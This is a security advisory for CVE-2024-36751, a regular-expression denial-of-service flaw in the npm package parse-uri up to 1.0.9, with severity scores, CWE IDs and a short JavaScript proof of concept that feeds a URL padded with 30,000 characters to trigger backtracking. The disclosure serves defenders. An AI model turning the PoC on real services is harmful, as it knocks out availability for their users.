CVE-2024-36751 – parse-uri

Package

Manager: npm
Name: parse-uri
Vulnerable Version: >=0 <=1.0.9

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:U/RL:O/RC:R

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

EPSS: 0.00081 pctl0.24598

Details

parse-uri Regular expression Denial of Service (ReDoS) An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL. ## PoC ```js async function exploit() { const parseuri = require("parse-uri"); // This input is designed to cause excessive backtracking in the regex const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value'; const result = await parseuri(craftedInput); } await exploit(); ```

Metadata

Created: 2025-01-16T00:31:22Z
Modified: 2025-09-03T12:56:48Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-6fx8-h7jm-663j/GHSA-6fx8-h7jm-663j.json
CWE IDs: ["CWE-1333", "CWE-185"]
Alternative ID: GHSA-6fx8-h7jm-663j
Finding: F211
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